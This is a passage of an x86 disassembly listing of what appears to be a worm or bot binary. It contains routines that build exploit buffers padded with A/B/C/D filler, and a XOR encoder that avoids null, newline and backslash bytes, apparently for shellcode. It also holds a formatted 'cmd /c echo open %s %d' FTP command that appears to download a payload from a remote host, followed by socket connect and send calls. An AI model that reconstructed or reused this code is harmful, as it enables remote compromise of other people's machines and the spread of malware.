		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BA4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444840
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444848
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "░B░B░B░B"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BC8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44484C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BBC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BB8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E90
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444BAC
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448DC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444854
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44490C
		mov	[ebx+31h], eax
		mov	ecx, dword_444910
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E140
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E144
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A80
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447551
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447551
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44768F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444918
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 28302B0h
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CA8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444D0C, ecx
		lea	ecx, [eax+1]
		mov	dword_444D2D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D25, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D3B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D1C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D20
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D21
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D25
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D29
		mov	[ecx+8], esi
		mov	esi, dword_444D2D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D31
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E148
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E148, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C90
		mov	edi, edx
		mov	byte_444C9D, bl
		mov	byte_444CA1, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C78
		mov	edi, edx
		mov	word_444C86, bx
		mov	byte_444C8B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491DF[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491D3[eax*4], ecx
		mov	dword_4491D7[eax*4], ecx
		mov	dword_4491DB[eax*4], ecx
		mov	byte_448FCB[eax*4], cl
		mov	byte_4491E3[eax*4], cl
